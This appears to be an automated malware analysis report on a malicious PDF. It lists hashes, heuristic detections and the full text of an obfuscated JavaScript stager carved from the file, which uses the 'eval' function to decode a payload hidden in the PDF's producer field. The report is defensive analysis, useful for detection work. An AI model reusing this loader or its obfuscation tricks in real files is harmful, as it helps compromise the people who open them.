Malicious PDF — malware analysis report

Static analysis result for SHA-256 d31e7670b444f277…

MALICIOUS

PDF

22.0 KB Created: 2010-07-25 10:32:51 First seen: 2013-08-22
MD5: 1d4323719db855fed8e21cadf1d1398f SHA-1: a5ba9153e9b367d4d347a194b56d6dcaf7f41ded SHA-256: d31e7670b444f27775af68ababf999b3d886d73641646d79c295a7ba7aa2951f
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, which is obfuscated using String.fromCharCode. This script is likely designed to download and execute a second-stage payload. The presence of JavaScript actions and streams within the PDF structure further supports this assessment.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    ikqpl\(ikqpl\('String.fromCharCode\(' + vugs + '\)'\)\);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x55F5 369 bytes
SHA-256: 43258b71b553bcc3691cef179116045dd68ef3311a20d7c1c7d68722f75a345a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
lhdr = app;
bgem = new Date(2010,11,4);
var ymp='';
var xxxes = 'e'+bgem.getDay()+'a'+ymp+'l';
xxxes = xxxes.replace('6','v');
ikqpl=lhdr[xxxes];
var ymp='';
ikqpl('va'+ymp+'r psm=th'+ymp+'i'+ymp+'s');
rzp='pr' + ymp + bgem.getDay() + ymp + 'uc' +'er';
rzp = rzp.replace('6', 'od');
var vugs = psm[rzp];
ikqpl(ikqpl('String.fromCharCode(' + vugs + ')'));

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